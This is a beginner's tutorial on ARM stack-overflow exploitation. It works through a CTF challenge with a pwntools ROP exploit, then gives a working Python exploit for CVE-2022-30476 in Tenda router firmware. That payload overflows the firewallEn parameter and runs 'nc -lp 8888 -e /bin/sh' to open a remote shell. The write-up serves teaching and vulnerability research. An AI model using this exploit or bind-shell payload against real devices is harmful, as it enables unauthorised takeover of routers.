Introduction to ARM PWN: A Beginner’s Guide

1. Introduction In CTF competitions, most of the challenges we encounter are based on x86 and x86_64 architectures. However, after I started researching the IoT field, I found that smart devices primarily use ARM and MIPS architectures. This article aims to introduce readers to the world of ARM PWN through CTF challenges based on the ARM architecture, building on foundational knowledge.2. Prerequisite KnowledgeInstruction Set The main difference between Intel and ARM lies in their instruction sets. Intel uses a Complex Instruction Set Computing (CISC) architecture, while ARM employs a Reduced Instruction Set Computing (RISC) architecture. The RISC architecture shortens execution time by reducing the clock cycles per instruction, allowing for faster execution. However, due to fewer instructions, it may appear more verbose than Intel when implementing certain functionalities.Registers Registers are a key focus in the ARM architecture. In x86 architecture, instructions can directly operate on data in memory, whereas in ARM architecture, data must first be loaded into registers before operations can be performed. The number of registers depends on the version of ARM, with ARM32 architecture having a total of 30 registers:

• R0 can be used to store temporary values in general operations, as well as the first parameter or return result of a function. • In ARM architecture, it is convention to store the first four parameters of a function in registers R0 to R3. • R7 is responsible for storing the system call number during function calls. • R11 can be used to record backtrace information or as a local variable. • R13 (SP, Stack Pointer) points to the top of the stack. • R14 (LR, Link Register) saves the address of the next instruction to be executed after a function call, allowing the called function to return to the calling function. • R15 (PC, Program Counter) is similar to the EIP register in x86 architecture, responsible for storing the target address. Unlike x86, the PC in ARM architecture stores the address of the current instruction + 8.

Introduction to ARM PWN: A Beginner's Guide

ARM Instructions Here, I reference a table of instructions listed by Master eack in his ARM fundamentals PPT. With a foundation in x86 architecture, these instructions are relatively easy to understand.

Instruction

Function

Instruction

Function

MOV

Move data

EOR

Bitwise XOR

MVN

Move data and negate

LDR

Load

ADD

Addition

STR

Store

SUB

Subtraction

LDM

Load multiple

MUL

Multiplication

STM

Store multiple

LSL

Logical left shift

PUSH

Push onto stack

LSR

Logical right shift

POP

Pop from stack

ASR

Arithmetic right shift

B

Branch

ROR

Rotate right

BL

Link + Branch

CMP

Compare

BX

Branch and exchange

AND

Bitwise AND

BLX

Link + Branch and exchange

ORR

Bitwise OR

SWI/SVC

System call

Here, I would like to specifically introduce the two instructions LDR and STR: • LDR is used to load content from memory into a register, for example, LDR R2, [R0] reads the value from the memory address stored in R0 into R2. • STR is used to store content from a register into a memory address, for example, STR R2, [R1] stores the value from R2 into the memory address in R1.3. Example Problem Explanation Here, I will explain the typo example from jarvisoj, which can be accessed via the link below:

https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/arm/jarvisOJ_typo/typo

Check the problem protection; the static linked file for the arm-32-little architecture does not enable PIE and Canary protections, and there is NX protection that prevents writing shellcode to get a shell.

amalll@A-M:~/AM$ checksec pwn[*] '/home/amalll/AM/pwn'    Arch:     arm-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x8000)amalll@A-M:~/AM$ file pwnpwn: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped

Due to the removal of the symbol table, we can use the rizzo plugin to recover the symbol table. We can find key information addresses such as system and /bin/sh, and we notice a clear stack overflow vulnerability while following the program flow, meeting all conditions required to get a shell.

Introduction to ARM PWN: A Beginner's Guide

The exploitation idea is to overwrite the return address of the program through the stack overflow vulnerability. In ARM architecture, this means overwriting the address value that is popped into the PC register. We can overwrite it with a gadget that can control both the R0 and PC registers. Since the R0 register is used to store the first parameter of a function, we can control the R0 register to point to the /bin/sh address, and the PC register to point to the system function address to get a shell.

+-------------+| "a" * 112   |+-------------+| pop_gadget  | <- return address+-------------+|   /bin/sh   |+-------------+|     0       |+-------------+| system_addr |+-------------+

Once the idea is confirmed, the next step is to determine the offset of the stack overflow. We can use QEMU in conjunction with gdb-multiarch to find the offset of the stack overflow. First, we start the binary program with qemu-user:

qemu-arm-static -g 1234 -L . ./pwn

Then, we start gdb-multiarch and execute the remote connection command to begin debugging. The subsequent operations are similar to those in x86 architecture, using cyclic to generate a long string and then determining the offset by overflowing the string.Introduction to ARM PWN: A Beginner's Guide Finally, the offset is determined to be 112. It is important to note that in ARM architecture, if the jump address is odd, it will enter Thumb mode. When entering Thumb mode, the least significant bit of the address changes from 1 to 0. Therefore, if the calculated address value is incorrect, we can check the sixth least significant bit of the $cpsr register to determine if a mode switch has occurred. In this case, the program did not switch modes, so our final offset is 112.Introduction to ARM PWN: A Beginner's Guide After confirming the offset, we also need a gadget that can control both R0 and PC. Here, we use ropper to find the following gadget in the program:

0x00020904: pop {r0, r4, pc};

EXP

from pwn import *
p = process(['qemu-arm-static',"-L", "./", "./pwn"])pop_r0_r4_pc = 0x00020904system = 0x000110B4sh = 0x006C384
payload = 'a'*112+p32(pop_r0_r4_pc)+p32(sh)+p32(0)+p32(system)p.sendafter("Input ~ if you want to quit", "\n")p.send(payload)p.interactive()

4. Practical Demonstration Here, I will demonstrate the practical exploitation of the ARM stack overflow vulnerability using CVE-2022-30476. The content regarding firmware emulation was previously discussed when reproducing the Tenda CVE vulnerability from 2018, so I will not elaborate further. This demonstration focuses on the actual vulnerability reproduction. The web service does not perform boundary checks when obtaining the firmwallEn parameter and directly assigns the parameter value to the dest variable using the strcpy function, resulting in a stack overflow vulnerability.

Introduction to ARM PWN: A Beginner's Guide

Introduction to ARM PWN: A Beginner's Guide

We measured the stack overflow offset to be 44. This involves the Thumb mode switching issue we discussed earlier; the actual overflow offset should be 48. Subsequently, we can use the vmmap command to view the memory layout of qemu-user, allowing us to obtain the base address of the libc library. It is important to note that the new version of pwndbg has poor compatibility with qemu, so we can only use an older version of the plugin to view the memory layout.

Introduction to ARM PWN: A Beginner's Guide

Similar to the ROP construction ideas we discussed in the CTF example, we also need to find a gadget that can control both r0 and pc registers. Fortunately, the gadget we found this time does not end with \x00.

Introduction to ARM PWN: A Beginner's Guide

After gathering all the exploitation conditions, we write an EXP to perform a stack overflow attack on the web server.

import requestsfrom pwn import *
url = 'http://192.168.2.1/goform/SetFirewallCfg'libc = ELF("./lib/libc.so.0")base = 0xff592000system = base+libc.sym['system']pop_r0_pc = base+0x0003db80 # pop {r0, pc};stack = 0xfffef2c0pl = 'a'*48+p32(pop_r0_pc)+p32(stack)+p32(system)pl+= 'nc -lp 8888 -e /bin/sh;\x00'data = {'firewallEn':pl}requests.post(url, data=data)

Introduction to ARM PWN: A Beginner's Guide

Introduction to ARM PWN: A Beginner's Guide

Introduction to ARM PWN: A Beginner's Guide Learn practical cybersecurity skills by clicking “Read the original article”

Leave a Comment